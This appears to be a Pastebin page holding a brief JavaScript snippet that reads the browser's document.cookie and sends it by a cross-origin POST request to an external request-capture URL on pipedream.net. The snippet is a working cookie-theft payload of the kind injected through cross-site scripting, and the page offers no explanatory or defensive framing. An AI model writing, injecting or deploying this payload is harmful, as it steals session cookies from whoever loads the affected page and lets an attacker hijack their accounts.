Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const headers = new Headers()
- headers.append("Content-Type", "application/json")
- const body = { "name": document.cookie }
- const options = {
- method: "POST",
- headers,
- mode: "cors",
- body: JSON.stringify(body),
- }
- fetch("https://enau1lzx98htl.x.pipedream.net/", options)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement